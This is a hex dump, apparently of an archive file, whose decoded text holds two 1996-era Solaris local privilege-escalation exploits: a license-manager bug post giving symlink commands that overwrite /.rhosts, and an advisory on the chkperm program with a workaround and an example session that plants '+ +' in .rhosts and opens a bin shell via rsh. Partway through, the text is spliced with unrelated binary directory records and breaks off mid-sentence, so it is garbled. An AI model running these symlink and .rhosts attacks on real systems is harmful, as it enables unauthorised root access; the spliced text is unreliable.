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MacOS 8.1

Win98

DOS

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+--------+-------------------------+-------------------------+--------+--------+
|00000000| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00000010| 20 20 20 20 20 20 20 20 | 20 20 73 6f 6c 61 72 69 |        |  solari|
|00000020| 73 20 32 2e 34 20 6c 69 | 63 65 6e 73 65 2d 6d 61 |s 2.4 li|cense-ma|
|00000030| 6e 61 67 65 72 20 62 75 | 67 0d 0a 20 20 20 20 20 |nager bu|g..     |
|00000040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000060| 20 20 0d 0a 20 20 20 47 | 72 61 6e 74 20 4b 61 75 |  ..   G|rant Kau|
|00000070| 66 6d 61 6e 6e 20 28 67 | 6b 61 75 66 6d 61 6e 40 |fmann (g|kaufman@|
|00000080| 63 73 2e 75 63 74 2e 61 | 63 2e 7a 61 29 0d 0a 20 |cs.uct.a|c.za).. |
|00000090| 20 20 57 65 64 2c 20 31 | 36 20 4f 63 74 20 31 39 |  Wed, 1|6 Oct 19|
|000000a0| 39 36 20 32 33 3a 34 36 | 3a 30 37 20 2b 30 32 30 |96 23:46|:07 +020|
|000000b0| 30 0d 0a 20 20 20 0d 0a | 41 6e 6f 74 68 65 72 20 |0..   ..|Another |
|000000c0| 62 75 67 20 66 6f 72 20 | 73 6f 6c 61 72 69 73 20 |bug for |solaris |
|000000d0| 32 2e 34 0d 0a 54 68 65 | 20 6c 69 63 65 6e 73 65 |2.4..The| license|
|000000e0| 20 6d 61 6e 61 67 65 72 | 20 6d 75 73 74 20 62 65 | manager| must be|
|000000f0| 20 72 75 6e 6e 69 6e 67 | 2c 20 65 78 70 65 63 74 | running|, expect|
|00000100| 20 62 6f 74 68 0d 0a 6c | 6d 67 72 64 2e 73 74 65 | both..l|mgrd.ste|
|00000110| 20 26 20 73 75 6e 74 65 | 63 68 64 20 74 6f 20 62 | & sunte|chd to b|
|00000120| 65 20 73 6f 6d 65 77 68 | 65 72 65 20 69 6e 20 79 |e somewh|ere in y|
|00000130| 6f 75 72 20 70 72 6f 63 | 65 73 73 20 74 61 62 6c |our proc|ess tabl|
|00000140| 65 2e 0d 0a 0d 0a 2f 76 | 61 72 2f 74 6d 70 2f 6c |e...../v|ar/tmp/l|
|00000150| 6f 63 6b 73 75 6e 74 65 | 63 68 64 20 77 69 6c 6c |ocksunte|chd will|
|00000160| 20 62 65 20 63 72 65 61 | 74 65 64 20 62 79 20 61 | be crea|ted by a|
|00000170| 6e 79 6f 6e 65 20 77 68 | 6f 20 72 75 6e 73 0d 0a |nyone wh|o runs..|
|00000180| 6c 6d 73 74 61 74 2c 20 | 77 69 74 68 20 70 65 72 |lmstat, |with per|
|00000190| 6d 73 20 36 36 36 20 61 | 6e 64 20 71 75 69 74 65 |ms 666 a|nd quite|
|000001a0| 20 68 61 70 70 79 20 74 | 6f 20 66 6f 6c 6c 6f 77 | happy t|o follow|
|000001b0| 20 73 79 6d 6c 69 6e 6b | 73 2e 0d 0a 41 6e 79 77 | symlink|s...Anyw|
|000001c0| 61 79 2c 20 68 65 72 65 | 27 73 20 74 68 65 20 65 |ay, here|'s the e|
|000001d0| 78 70 6c 6f 69 74 2e 0d | 0a 0d 0a 2d 2b 2d 2b 2d |xploit..|...-+-+-|
|000001e0| 2b 20 43 55 54 0d 0a 72 | 6d 20 2f 76 61 72 2f 74 |+ CUT..r|m /var/t|
|000001f0| 6d 70 2f 6c 6f 63 6b 73 | 75 6e 74 65 63 68 64 0d |mp/locks|untechd.|
|00000200| 0a 6c 6e 20 2d 73 20 2f | 2e 72 68 6f 73 74 73 20 |.ln -s /|.rhosts |
|00000210| 2f 76 61 72 2f 74 6d 70 | 2f 6c 6f 63 6b 73 75 6e |/var/tmp|/locksun|
|00000220| 74 65 63 68 64 0d 0a 6c | 6d 73 74 61 74 20 2d 63 |techd..l|mstat -c|
|00000230| 20 3c 69 6e 73 65 72 74 | 20 79 6f 75 72 20 6c 69 | <insert| your li|
|00000240| 63 65 6e 73 65 20 66 69 | 6c 65 20 6e 61 6d 65 20 |cense fi|le name |
|00000250| 68 65 72 65 3e 0d 0a 0d | 0a 4e 4f 54 45 53 0d 0a |here>...|.NOTES..|
|00000260| 6c 6d 73 74 61 74 20 63 | 6f 75 6c 64 20 62 65 20 |lmstat c|ould be |
|00000270| 61 6e 79 77 68 65 72 65 | 20 6f 6e 20 79 6f 75 72 |anywhere| on your|
|00000280| 20 66 69 6c 65 73 79 73 | 74 65 6d 2e 20 74 72 79 | filesys|tem. try|
|00000290| 20 2f 65 74 63 2f 6f 70 | 74 2f 6c 69 63 65 6e 73 | /etc/op|t/licens|
|000002a0| 65 73 0d 0a 49 20 66 6f | 75 6e 64 20 74 68 61 74 |es..I fo|und that|
|000002b0| 20 73 6f 6d 65 74 69 6d | 65 73 20 74 68 69 73 20 | sometim|es this |
|000002c0| 64 69 64 6e 27 74 20 77 | 6f 72 6b 20 66 69 72 73 |didn't w|ork firs|
|000002d0| 74 20 74 69 6d 65 2e 20 | 49 74 20 64 69 64 6e 27 |t time. |It didn'|
|000002e0| 74 20 63 72 65 61 74 65 | 0d 0a 74 68 65 20 66 69 |t create|..the fi|
|000002f0| 6c 65 2e 20 4a 75 73 74 | 20 72 75 6e 20 6c 6d 73 |le. Just| run lms|
|00000300| 74 61 74 20 61 67 61 69 | 6e 20 61 6e 64 20 69 74 |tat agai|n and it|
|00000310| 27 6c 6c 20 77 6f 72 6b | 2e 0d 0a 2d 2b 2d 2b 2d |'ll work|...-+-+-|
|00000320| 2b 0d 0a 0d 0a 2d 2d 0d | 0a 47 72 61 6e 74 0d 0a |+....--.|.Grant..|
|00000330| 2d 2d 0d 0a 68 74 74 70 | 3a 2f 2f 77 77 77 2e 63 |--..http|://www.c|
|00000340| 73 2e 75 63 74 2e 61 63 | 2e 7a 61 2f 7e 67 6b 61 |s.uct.ac|.za/~gka|
|00000350| 75 66 6d 61 6e 2f 70 67 | 70 2e 68 74 6d 6c 0d 0a |ufman/pg|p.html..|
|00000360| 0d 0a 50 47 4c 36 45 47 | 47 49 46 20 00 00 00 00 |..PGL6EG|GIF ....|
|00000370| 00 00 00 00 00 00 90 b1 | 52 22 b7 62 35 01 00 00 |........|R".b5...|
|00000380| 4d 30 50 47 4c 36 45 48 | 4a 50 47 20 00 00 00 00 |M0PGL6EH|JPG ....|
|00000390| 00 00 00 00 00 00 91 b1 | 52 22 49 62 31 0b 00 00 |........|R"Ib1...|
|000003a0| 4d 30 50 47 4c 36 45 49 | 47 49 46 20 00 00 00 00 |M0PGL6EI|GIF ....|
|000003b0| 00 00 00 00 00 00 91 b1 | 52 22 78 63 6b 01 00 00 |........|R"xck...|
|000003c0| 4d 30 50 47 4c 36 45 4a | 47 49 46 20 00 00 00 00 |M0PGL6EJ|GIF ....|
|000003d0| 00 00 00 00 00 00 93 b1 | 52 22 56 63 9f 14 00 00 |........|R"Vc....|
|000003e0| 4d 30 50 48 31 4e 48 4b | 48 54 4d 20 00 00 00 00 |M0PH1NHK|HTM ....|
|000003f0| 00 00 00 00 00 00 3c 82 | 57 22 5a 23 00 01 00 00 |......<.|W"Z#....|
|00000400| 4d 30 50 47 4c 36 49 31 | 47 49 46 20 00 00 00 00 |M0PGL6I1|GIF ....|
|00000410| 00 00 00 00 00 00 69 63 | 68 20 69 6e 73 74 61 6c |......ic|h instal|
|00000420| 6c 73 20 6d 61 6e 79 2f | 6d 6f 73 74 0d 0a 6f 66 |ls many/|most..of|
|00000430| 20 74 68 65 20 73 79 73 | 74 65 6d 20 62 69 6e 61 | the sys|tem bina|
|00000440| 72 69 65 73 20 61 73 20 | 62 69 6e 2c 20 69 74 20 |ries as |bin, it |
|00000450| 6d 61 79 20 62 65 20 73 | 61 69 64 20 74 68 61 74 |may be s|aid that|
|00000460| 20 22 62 69 6e 6c 69 6e | 65 73 73 20 69 73 20 6e | "binlin|ess is n|
|00000470| 65 78 74 0d 0a 74 6f 20 | 72 6f 6f 74 6c 69 6e 65 |ext..to |rootline|
|00000480| 73 73 2e 22 0d 0a 0d 0a | 54 68 65 20 46 41 43 45 |ss."....|The FACE|
|00000490| 20 70 61 63 6b 61 67 65 | 20 63 6f 6d 65 73 20 66 | package| comes f|
|000004a0| 72 6f 6d 20 53 79 73 74 | 65 6d 20 56 2c 20 61 6e |rom Syst|em V, an|
|000004b0| 64 20 6d 61 79 20 62 65 | 20 61 76 61 69 6c 61 62 |d may be| availab|
|000004c0| 6c 65 20 75 6e 64 65 72 | 20 6f 74 68 65 72 0d 0a |le under| other..|
|000004d0| 53 59 53 56 20 62 61 73 | 65 64 20 73 79 73 74 65 |SYSV bas|ed syste|
|000004e0| 6d 73 2e 20 20 57 65 20 | 77 65 6c 63 6f 6d 65 20 |ms.  We |welcome |
|000004f0| 72 65 70 6f 72 74 73 20 | 6f 66 20 6f 74 68 65 72 |reports |of other|
|00000500| 20 76 75 6c 6e 65 72 61 | 62 6c 65 20 73 79 73 74 | vulnera|ble syst|
|00000510| 65 6d 73 2e 0d 0a 0d 0a | 54 68 69 73 20 76 75 6c |ems.....|This vul|
|00000520| 6e 65 72 61 62 69 6c 69 | 74 79 20 69 73 20 62 65 |nerabili|ty is be|
|00000530| 6c 69 65 76 65 64 20 74 | 6f 20 62 65 20 6b 6e 6f |lieved t|o be kno|
|00000540| 77 6e 20 74 6f 20 74 68 | 65 20 69 6e 74 72 75 64 |wn to th|e intrud|
|00000550| 65 72 20 63 6f 6d 6d 75 | 6e 69 74 79 2e 0d 0a 0d |er commu|nity....|
|00000560| 0a 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.-------|--------|
|00000570| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000580| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000590| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000005a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 0d 0a 0d 0a 50 4c 41 |--------|-....PLA|
|000005b0| 54 46 4f 52 4d 53 20 41 | 46 46 45 43 54 45 44 0d |TFORMS A|FFECTED.|
|000005c0| 0a 0d 0a 53 6f 6c 61 72 | 69 73 20 32 2e 78 2c 20 |...Solar|is 2.x, |
|000005d0| 70 6f 73 73 69 62 6c 79 | 20 6f 74 68 65 72 20 53 |possibly| other S|
|000005e0| 59 53 56 52 34 20 64 65 | 72 69 76 65 64 20 73 79 |YSVR4 de|rived sy|
|000005f0| 73 74 65 6d 73 2e 20 57 | 65 20 77 65 6c 63 6f 6d |stems. W|e welcom|
|00000600| 65 0d 0a 72 65 70 6f 72 | 74 73 20 6f 66 20 6f 74 |e..repor|ts of ot|
|00000610| 68 65 72 20 76 75 6c 6e | 65 72 61 62 6c 65 20 73 |her vuln|erable s|
|00000620| 79 73 74 65 6d 73 2e 0d | 0a 0d 0a 2d 2d 2d 2d 2d |ystems..|...-----|
|00000630| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000640| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000650| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000660| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000670| 2d 2d 2d 0d 0a 0d 0a 49 | 4d 50 41 43 54 0d 0a 0d |---....I|MPACT...|
|00000680| 0a 4c 6f 63 61 6c 20 75 | 73 65 72 20 63 61 6e 20 |.Local u|ser can |
|00000690| 67 61 69 6e 20 73 79 73 | 74 65 6d 20 70 72 69 76 |gain sys|tem priv|
|000006a0| 69 6c 65 67 65 73 20 61 | 73 20 62 69 6e 20 28 72 |ileges a|s bin (r|
|000006b0| 6f 6f 74 20 66 6f 6c 6c | 6f 77 73 20 73 68 6f 72 |oot foll|ows shor|
|000006c0| 74 6c 79 29 0d 0a 0d 0a | 2d 2d 2d 2d 2d 2d 2d 2d |tly)....|--------|
|000006d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000006e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000006f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000700| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000710| 0d 0a 0d 0a 53 55 47 47 | 45 53 54 45 44 20 57 4f |....SUGG|ESTED WO|
|00000720| 52 4b 41 52 4f 55 4e 44 | 0d 0a 0d 0a 25 20 63 68 |RKAROUND|....% ch|
|00000730| 6d 6f 64 20 75 67 2d 73 | 20 2f 75 73 72 2f 76 6d |mod ug-s| /usr/vm|
|00000740| 73 79 73 2f 62 69 6e 2f | 63 68 6b 70 65 72 6d 0d |sys/bin/|chkperm.|
|00000750| 0a 0d 0a 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |...-----|--------|
|00000760| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000770| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000780| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000790| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 0d 0a 0d 0a 45 |--------|---....E|
|000007a0| 58 41 4d 50 4c 45 0d 0a | 0d 0a 25 20 6d 6b 64 69 |XAMPLE..|..% mkdi|
|000007b0| 72 20 2f 74 6d 70 2f 66 | 6f 6f 0d 0a 25 20 6d 6b |r /tmp/f|oo..% mk|
|000007c0| 64 69 72 20 2f 74 6d 70 | 2f 66 6f 6f 2f 6c 69 62 |dir /tmp|/foo/lib|
|000007d0| 0d 0a 25 20 63 68 6d 6f | 64 20 2d 52 20 37 37 37 |..% chmo|d -R 777|
|000007e0| 20 2f 74 6d 70 2f 66 6f | 6f 0d 0a 25 20 73 65 74 | /tmp/fo|o..% set|
|000007f0| 65 6e 76 20 56 4d 53 59 | 53 20 2f 74 6d 70 2f 66 |env VMSY|S /tmp/f|
|00000800| 6f 6f 0d 0a 25 20 75 6d | 61 73 6b 20 30 30 30 30 |oo..% um|ask 0000|
|00000810| 0d 0a 25 20 6c 6e 20 2d | 73 20 2f 75 73 72 2f 62 |..% ln -|s /usr/b|
|00000820| 69 6e 2f 2e 72 68 6f 73 | 74 73 20 2f 74 6d 70 2f |in/.rhos|ts /tmp/|
|00000830| 66 6f 6f 2f 6c 69 62 2f | 2e 66 61 63 65 72 63 0d |foo/lib/|.facerc.|
|00000840| 0a 25 20 2f 75 73 72 2f | 76 6d 73 79 73 2f 62 69 |.% /usr/|vmsys/bi|
|00000850| 6e 2f 63 68 6b 70 65 72 | 6d 20 2d 6c 20 2d 75 20 |n/chkper|m -l -u |
|00000860| 66 6f 6f 0d 0a 25 20 6c | 73 20 2d 6c 20 2f 75 73 |foo..% l|s -l /us|
|00000870| 72 2f 62 69 6e 2f 2e 72 | 68 6f 73 74 73 0d 0a 2d |r/bin/.r|hosts..-|
|00000880| 72 77 2d 72 77 2d 72 77 | 2d 20 20 32 20 62 69 6e |rw-rw-rw|-  2 bin|
|00000890| 20 20 20 20 20 20 62 69 | 6e 20 20 20 20 20 20 20 |      bi|n       |
|000008a0| 20 20 20 20 20 30 20 4e | 6f 76 20 31 32 20 30 39 |     0 N|ov 12 09|
|000008b0| 3a 34 31 20 2e 72 68 6f | 73 74 73 0d 0a 25 20 65 |:41 .rho|sts..% e|
|000008c0| 63 68 6f 20 22 2b 20 2b | 22 20 3e 3e 20 2f 75 73 |cho "+ +|" >> /us|
|000008d0| 72 2f 62 69 6e 2f 2e 72 | 68 6f 73 74 73 0d 0a 25 |r/bin/.r|hosts..%|
|000008e0| 20 6c 73 20 2d 6c 20 2f | 75 73 72 2f 62 69 6e 2f | ls -l /|usr/bin/|
|000008f0| 2e 72 68 6f 73 74 73 0d | 0a 2d 72 77 2d 72 77 2d |.rhosts.|.-rw-rw-|
|00000900| 72 77 2d 20 20 32 20 62 | 69 6e 20 20 20 20 20 20 |rw-  2 b|in      |
|00000910| 62 69 6e 20 20 20 20 20 | 20 20 20 20 20 20 20 34 |bin     |       4|
|00000920| 20 4e 6f 76 20 31 32 20 | 30 39 3a 34 31 20 2e 72 | Nov 12 |09:41 .r|
|00000930| 68 6f 73 74 73 0d 0a 25 | 20 72 73 68 20 2d 6c 20 |hosts..%| rsh -l |
|00000940| 62 69 6e 20 6c 6f 63 61 | 6c 68 6f 73 74 20 2f 62 |bin loca|lhost /b|
|00000950| 69 6e 2f 63 73 68 20 2d | 69 0d 0a 57 61 72 6e 69 |in/csh -|i..Warni|
|00000960| 6e 67 3a 20 6e 6f 20 61 | 63 63 65 73 73 20 74 6f |ng: no a|ccess to|
|00000970| 20 74 74 79 3b 20 74 68 | 75 73 20 6e 6f 20 6a 6f | tty; th|us no jo|
|00000980| 62 20 63 6f 6e 74 72 6f | 6c 20 69 6e 20 74 68 69 |b contro|l in thi|
|00000990| 73 20 73 68 65 6c 6c 2e | 2e 2e 0d 0a 25 20 69 64 |s shell.|....% id|
|000009a0| 0d 0a 75 69 64 3d 32 28 | 62 69 6e 29 20 67 69 64 |..uid=2(|bin) gid|
|000009b0| 3d 32 28 62 69 6e 29 0d | 0a 0d 0a 2d 2d 2d 2d 2d |=2(bin).|...-----|
|000009c0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000009d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000009e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000009f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a00| 2d 2d 2d 0d 0a 0d 0a 44 | 49 53 43 55 53 53 49 4f |---....D|ISCUSSIO|
|00000a10| 4e 0d 0a 0d 0a 54 68 65 | 20 70 72 6f 67 72 61 6d |N....The| program|
|00000a20| 20 28 77 68 69 63 68 20 | 72 65 73 69 64 65 73 20 | (which |resides |
|00000a30| 61 74 20 2f 75 73 72 2f | 76 6d 73 79 73 2f 62 69 |at /usr/|vmsys/bi|
|00000a40| 6e 2f 63 68 6b 70 65 72 | 6d 29 20 64 6f 65 73 20 |n/chkper|m) does |
|00000a50| 73 65 76 65 72 61 6c 0d | 0a 74 68 69 6e 67 73 20 |several.|.things |
|00000a60| 69 6e 20 61 6e 20 69 6e | 73 65 63 75 72 65 20 66 |in an in|secure f|
|00000a70| 61 73 68 69 6f 6e 3a 0d | 0a 0d 0a 31 29 20 49 74 |ashion:.|...1) It|
|00000a80| 20 74 72 69 65 73 20 74 | 6f 20 6f 70 65 6e 20 74 | tries t|o open t|
|00000a90| 68 65 20 66 69 6c 65 20 | 24 56 4d 53 59 53 2f 2e |he file |$VMSYS/.|
|00000aa0| 66 61 63 65 72 63 20 61 | 6e 64 20 69 66 20 74 68 |facerc a|nd if th|
|00000ab0| 65 20 66 69 6c 65 20 69 | 73 20 6e 6f 74 0d 0a 20 |e file i|s not.. |
|00000ac0| 20 20 70 72 65 73 65 6e | 74 20 69 74 20 63 72 65 |  presen|t it cre|
|00000ad0| 61 74 65 73 20 69 74 2c | 20 77 69 74 68 20 7a 65 |ates it,| with ze|
|00000ae0| 72 6f 20 6c 65 6e 67 74 | 68 2c 20 6f 77 6e 65 72 |ro lengt|h, owner|
|00000af0| 73 68 69 70 20 62 69 6e | 2e 62 69 6e 0d 0a 0d 0a |ship bin|.bin....|
|00000b00| 32 29 20 54 68 65 20 75 | 73 65 72 27 73 20 55 4d |2) The u|ser's UM|
|00000b10| 41 53 4b 20 69 73 20 69 | 6e 68 65 72 69 74 65 64 |ASK is i|nherited|
|00000b20| 2c 20 73 6f 20 70 65 72 | 6d 69 73 73 69 6f 6e 73 |, so per|missions|
|00000b30| 20 6f 6e 20 74 68 65 20 | 6e 65 77 6c 79 2d 63 72 | on the |newly-cr|
|00000b40| 65 61 74 65 64 0d 0a 20 | 20 20 2e 66 61 63 65 72 |eated.. |  .facer|
|00000b50| 63 20 61 72 65 20 75 6e | 64 65 72 20 74 68 65 20 |c are un|der the |
|00000b60| 63 6f 6e 74 72 6f 6c 20 | 6f 66 20 61 6e 20 61 74 |control |of an at|
|00000b70| 74 61 63 6b 65 72 2e 0d | 0a 0d 0a 33 29 20 56 4d |tacker..|...3) VM|
|00000b80| 53 59 53 20 62 79 20 64 | 65 66 61 75 6c 74 20 69 |SYS by d|efault i|
|00000b90| 73 20 73 65 74 20 74 6f | 20 2f 75 73 72 2f 6c 69 |s set to| /usr/li|
|00000ba0| 62 2c 20 62 75 74 20 74 | 68 65 20 70 72 6f 67 72 |b, but t|he progr|
|00000bb0| 61 6d 20 63 68 65 65 72 | 66 75 6c 6c 79 0d 0a 20 |am cheer|fully.. |
|00000bc0| 20 20 63 68 65 63 6b 73 | 20 79 6f 75 72 20 65 6e |  checks| your en|
|00000bd0| 76 69 72 6f 6e 6d 65 6e | 74 20 66 6f 72 20 61 20 |vironmen|t for a |
|00000be0| 64 69 66 66 65 72 65 6e | 74 20 56 4d 53 59 53 20 |differen|t VMSYS |
|00000bf0| 62 61 73 65 20 64 69 72 | 65 63 74 6f 72 79 2c 20 |base dir|ectory, |
|00000c00| 61 6e 64 0d 0a 20 20 20 | 75 73 65 73 20 74 68 61 |and..   |uses tha|
|00000c10| 74 2e 0d 0a 0d 0a 34 29 | 20 54 68 65 72 65 20 69 |t.....4)| There i|
|00000c20| 73 20 6e 6f 20 63 68 65 | 63 6b 20 6d 61 64 65 20 |s no che|ck made |
|00000c30| 66 6f 72 20 73 79 6d 62 | 6f 6c 69 63 20 6c 69 6e |for symb|olic lin|
|00000c40| 6b 73 2c 20 61 76 6f 69 | 64 69 6e 67 20 74 68 65 |ks, avoi|ding the|
|00000c50| 20 6e 65 65 64 20 74 6f | 0d 0a 20 20 20 72 61 63 | need to|..   rac|
|00000c60| 65 2e 0d 0a 0d 0a 54 68 | 69 73 20 65 78 70 6c 6f |e.....Th|is explo|
|00000c70| 69 74 20 69 73 20 66 61 | 72 20 66 72 6f 6d 20 6f |it is fa|r from o|
|00000c80| 72 69 67 69 6e 61 6c 2c | 20 74 68 6f 75 67 68 20 |riginal,| though |
|00000c90| 69 74 20 61 70 70 65 61 | 72 73 20 74 6f 20 62 65 |it appea|rs to be|
|00000ca0| 20 75 6e 70 75 62 6c 69 | 73 68 65 64 0d 0a 61 73 | unpubli|shed..as|
|00000cb0| 20 79 65 74 2e 20 20 42 | 6c 69 6e 64 6c 79 20 66 | yet.  B|lindly f|
|00000cc0| 6f 6c 6c 6f 77 69 6e 67 | 20 73 79 6d 6c 69 6e 6b |ollowing| symlink|
|00000cd0| 73 2c 20 66 6f 6c 6c 6f | 77 69 6e 67 20 77 69 74 |s, follo|wing wit|
|00000ce0| 68 6f 75 74 20 63 68 65 | 63 6b 69 6e 67 20 66 6f |hout che|cking fo|
|00000cf0| 72 0d 0a 65 78 69 73 74 | 65 6e 63 65 20 6f 72 20 |r..exist|ence or |
|00000d00| 6d 61 74 63 68 69 6e 67 | 20 6f 77 6e 65 72 73 68 |matching| ownersh|
|00000d10| 69 70 2c 20 69 6e 68 65 | 72 69 74 69 6e 67 20 74 |ip, inhe|riting t|
|00000d20| 68 65 20 75 73 65 72 27 | 73 20 65 6e 76 69 72 6f |he user'|s enviro|
|00000d30| 6e 6d 65 6e 74 2c 0d 0a | 61 72 65 20 65 78 61 6d |nment,..|are exam|
|00000d40| 70 6c 65 73 20 6f 66 20 | 76 65 72 79 20 6e 61 69 |ples of |very nai|
|00000d50| 76 65 20 70 72 6f 67 72 | 61 6d 6d 69 6e 67 20 77 |ve progr|amming w|
|00000d60| 68 6f 6c 6c 79 20 69 6e | 61 70 70 72 6f 70 72 69 |holly in|appropri|
|00000d70| 61 74 65 20 66 6f 72 20 | 61 0d 0a 70 72 6f 67 72 |ate for |a..progr|
|00000d80| 61 6d 20 69 6e 73 74 61 | 6c 6c 65 64 20 73 65 74 |am insta|lled set|
|00000d90| 75 69 64 20 74 6f 20 61 | 20 73 79 73 74 65 6d 20 |uid to a| system |
|00000da0| 61 63 63 6f 75 6e 74 2e | 0d 0a 0d 0a 53 75 6e 27 |account.|....Sun'|
|00000db0| 73 20 70 72 61 63 74 69 | 63 65 20 6f 66 20 73 68 |s practi|ce of sh|
|00000dc0| 69 70 70 69 6e 67 20 74 | 68 65 69 72 20 73 79 73 |ipping t|heir sys|
|00000dd0| 74 65 6d 20 62 69 6e 61 | 72 69 65 73 20 61 6e 64 |tem bina|ries and|
|00000de0| 20 62 69 6e 61 72 69 65 | 73 0d 0a 64 69 72 65 63 | binarie|s..direc|
|00000df0| 74 6f 72 69 65 73 20 6f | 77 6e 65 64 20 61 6e 64 |tories o|wned and|
|00000e00| 20 77 72 69 74 61 62 6c | 65 20 62 79 20 62 69 6e | writabl|e by bin|
|00000e10| 20 63 65 72 74 61 69 6e | 6c 79 20 63 6f 6e 74 72 | certain|ly contr|
|00000e20| 69 62 75 74 65 73 20 74 | 6f 20 6d 61 6b 69 6e 67 |ibutes t|o making|
|00000e30| 0d 0a 74 68 69 73 20 65 | 78 70 6f 73 75 72 65 20 |..this e|xposure |
|00000e40| 6d 6f 72 65 20 65 66 66 | 65 63 74 69 76 65 20 61 |more eff|ective a|
|00000e50| 6e 64 20 64 61 6e 67 65 | 72 6f 75 73 2e 0d 0a 0d |nd dange|rous....|
|00000e60| 0a 4b 65 76 69 6e 20 50 | 72 69 67 67 65 20 20 20 |.Kevin P|rigge   |
|00000e70| 3c 6b 6c 70 40 74 63 2e | 75 6d 6e 2e 65 64 75 3e |<klp@tc.|umn.edu>|
|00000e80| 0d 0a 4a 6f 68 6e 20 4c | 61 64 77 69 67 20 20 20 |..John L|adwig   |
|00000e90| 20 3c 6a 6c 61 64 77 69 | 67 40 73 6f 69 6c 73 2e | <jladwi|g@soils.|
|00000ea0| 75 6d 6e 2e 65 64 75 3e | 0d 0a 0d 0a             |umn.edu>|....    |
+--------+-------------------------+-------------------------+--------+--------+